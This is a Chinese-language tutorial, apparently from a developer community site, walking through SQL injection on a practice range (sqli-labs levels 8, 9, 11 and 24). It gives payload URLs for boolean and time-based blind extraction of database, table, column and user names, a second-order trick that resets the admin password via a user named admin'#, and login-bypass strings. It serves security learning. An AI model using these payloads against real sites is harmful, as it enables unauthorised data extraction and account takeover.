🧭数据库常用函数
length()#长度函数
substr()#截取函数
ascii()#阿斯科码转换
count()#统计函数
🌍(1)判断数据库长度
http://124.222.124.9:8888/Less-8/?id=1' and length(database())=8 --+
🌐(2)截取数据库名,判断字符的ascii码值
http://124.222.124.9:8888/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 --+
http://124.222.124.9:8888/Less-8/?id=1' and ascii(substr((select database()),1,1))=115 --+
对应ascii表中的字符
https://tool.ip138.com/ascii_code
逐步一个一个字符对应出数据库名。
🏝️(3)判断表数量
http://124.222.124.9:8888/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
🏜️(4)猜测数据表的长度
http://124.222.124.9:8888/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
🏖️(5)猜测数据表名称
http://124.222.124.9:8888/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 --+
🏕️(6)猜测字段数
http://124.222.124.9:8888/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 --+
🌋(7)猜测字段名长度
http://124.222.124.9:8888/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 --+
🏚️(8)猜测字段名
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105 --+
🧱(9)猜测username值的数量
http://124.222.124.9:8888/Less-8/?id=1' and (select count(username) from users )=14 --+
🕌(10)猜测username值的长度
http://124.222.124.9:8888/Less-8/?id=1' and length((select username from users limit 0,1))=4 --+
⛺(11)猜测username的值
http://124.222.124.9:8888/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+
涉及到的函数
if(a,b,c) 当a为真值时,执行b;当a为假值时,执行c
sleep(5) #休眠5秒
👡(1)查看数据库长度
http://124.222.124.9:8888/Less-9/?id=1' and if(length(database())>7,sleep(3),1) --+
🩴(2)遍历数据库字符(这一步可省略)
http://124.222.124.9:8888/Less-9/?id=1' and if(ascii(substr(database(),1,1))=114,sleep(3),1) --+
逐个遍历字符
👙(3)统计表数量
http://124.222.124.9:8888/Less-9/?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1) --+
👜(4)遍历表名
http://124.222.124.9:8888/Less-9/?id=1' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>115,sleep(3),1) --+
👚(5)。。。。。。
👔(1)靶场
http://124.222.124.9:8888/Less-24/index.php
🧦(2)首先得知道系统中有哪个管理员账号
假设系统中存在admin管理员用户,尝试注册用户admin'#
👘(3)登录账号admin'#账号,修改密码
在sql拼接中,单引号闭合,井号注释后面的语句,导致修改密码的时候修改的是admin的密码
🪖(4)验证登录admin和你刚才修改的密码
⛑️(5)注册顺序
(1)靶场
http://124.222.124.9:8888/Less-11/
(2)注释掉条件
payload:
admin' or '1'='1' #
admin' ###
(3)验证
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。